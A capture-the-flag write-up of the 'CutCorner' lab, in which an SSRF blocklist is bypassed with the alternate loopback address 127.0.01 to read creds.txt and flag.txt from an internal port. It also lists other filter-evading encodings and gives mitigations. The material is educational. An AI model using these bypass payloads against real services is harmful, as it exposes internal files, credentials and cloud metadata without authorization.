Post

SSRF Blocklist Bypass – Internal File Disclosure via Localhost Filtering Evasion | CutCorner

SSRF Blocklist Bypass – Internal File Disclosure via Localhost Filtering Evasion | CutCorner

Lab Link

Lab: CutCorner

Overview

The CutCorner challenge demonstrates a Server-Side Request Forgery (SSRF) vulnerability combined with an insufficient blacklist implementation.

The application included a URL fetching feature intended for loading internal resources inside a “Resource Hub”. To prevent access to localhost resources, a filtering mechanism attempted to block requests targeting private and loopback addresses.

However, the protection relied on simple blacklist matching and failed to account for alternative representations of loopback addresses.

By bypassing the localhost filter and accessing an internal service listening on a non-standard port, sensitive files became accessible.

Objective

Exploit the URL fetcher to access internal resources and retrieve the flag.

Vulnerability Classification Hierarchy

1
2
3
4
5
OWASP Category
└── A10: Server-Side Request Forgery (SSRF)
    └── SSRF
        └── Blocklist Validation Bypass
            └── Alternate Loopback Address Representation

Reconnaissance

The application accepted external URLs through:

1
https://32ce1e64-4065-cutcorner-1f944.events.webverselabs-pro.com/?url=channels/general/

The url parameter immediately suggested possible SSRF behavior because the application appeared to retrieve content on behalf of the user.

Initial testing targeted localhost:

1
?url=http://127.0.0.1

Response:

1
2
3
4
5
6
7
8
9
10
11
12
<div class="viewer-result viewer-error">
    <div class="result-bar">
      <span class="result-tag error-tag">ERROR</span>
      <span class="result-url mono">
      http://127.0.0.1
      </span>
    </div>

<pre class="result-body error-body">
Private/loopback addresses not allowed
</pre>
</div>

The application detected localhost and blocked access.

This confirmed:

  • Requests were being processed server-side
  • Localhost filtering existed
  • SSRF protections relied on address validation

Filter Bypass

Simple blacklist implementations often only compare exact string values.

An alternate loopback representation was used:

1
url=http://127.0.01

Instead of rejecting the request, the application returned a successful response:

1
<title>#general · CutCorner</title>

The alternate notation bypassed the localhost restriction.

The application resolved:

1
127.0.01

to:

1
127.0.0.1

while the filter failed to recognize it.

Internal Service Discovery

After confirming localhost access, internal ports were tested.

Request:

1
url=http://127.0.01:3000

Response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE HTML>

<html lang="en">

<head>
<title>Directory listing for /</title>
</head>

<body>

<h1>Directory listing for /</h1>

<hr>

<ul>
<li><a href="creds.txt">creds.txt</a></li>
<li><a href="flag.txt">flag.txt</a></li>
<li><a href="notes.txt">notes.txt</a></li>
</ul>

<hr>

</body>
</html>

The internal service exposed directory indexing.

Several interesting files were visible:

1
2
3
creds.txt
flag.txt
notes.txt

Exploitation

The SSRF vulnerability was used to access internal files directly.

Requests:

1
2
3
4
5
url=http://127.0.01:3000/creds.txt

url=http://127.0.01:3000/flag.txt

url=http://127.0.01:3000/notes.txt

The vulnerable URL fetcher retrieved internal resources on behalf of the attacker.

Proof of Exploitation

Sensitive internal files became readable through SSRF.

Attack path:

1
2
3
4
5
6
7
8
9
10
11
URL Fetcher
        ↓
SSRF Detection
        ↓
Loopback Filter Bypass
        ↓
Internal Port Discovery
        ↓
Directory Enumeration
        ↓
Sensitive File Access

The retrieved internal resources exposed the flag:

1
WEBVERSE{.....}

Root Cause

The application likely implemented filtering similar to:

1
2
3
4
if(url.includes("127.0.0.1"))
{
    block();
}

The validation relied on string matching rather than validating resolved IP addresses.

The application failed to:

  • Normalize addresses
  • Resolve hostnames
  • Validate post-resolution IPs
  • Restrict destination networks

Alternative loopback forms bypassed protection.

Impact

In real-world environments SSRF can lead to:

  • Internal service discovery
  • Cloud metadata access
  • Credential theft
  • Internal API access
  • Local file retrieval
  • Container compromise
  • Remote code execution chains

In cloud environments, SSRF frequently leads to:

1
2
3
AWS metadata exposure
GCP metadata exposure
Azure credential theft

Mitigation

Use allowlists instead of blocklists

Bad:

1
2
3
4
deny = [
    "127.0.0.1",
    "localhost"
]

Secure:

1
2
3
allow = [
    trusted-domain.com
]

Resolve and validate destination IPs

Perform validation after DNS resolution:

1
2
3
4
5
6
7
Input URL
     ↓
Resolve hostname
     ↓
Check actual IP
     ↓
Allow or deny

Block internal network ranges

Restrict:

1
2
3
4
5
127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16

Disable unnecessary internal exposure

Internal services should not expose:

1
2
3
Directory listing
Unauthenticated files
Sensitive resources

Real-World Insight

Developers commonly implement blacklist rules such as:

1
2
3
Block localhost
Block 127.0.0.1
Block internal IPs

Attackers frequently bypass these filters using:

1
2
3
4
5
6
7
8
127.0.01
127.1
0
2130706433
0x7f000001
localhost aliases
IPv6 formats
DNS rebinding

String matching is rarely sufficient for SSRF protection.

Security decisions should always occur after destination resolution.

This post is licensed under CC BY 4.0 by the author.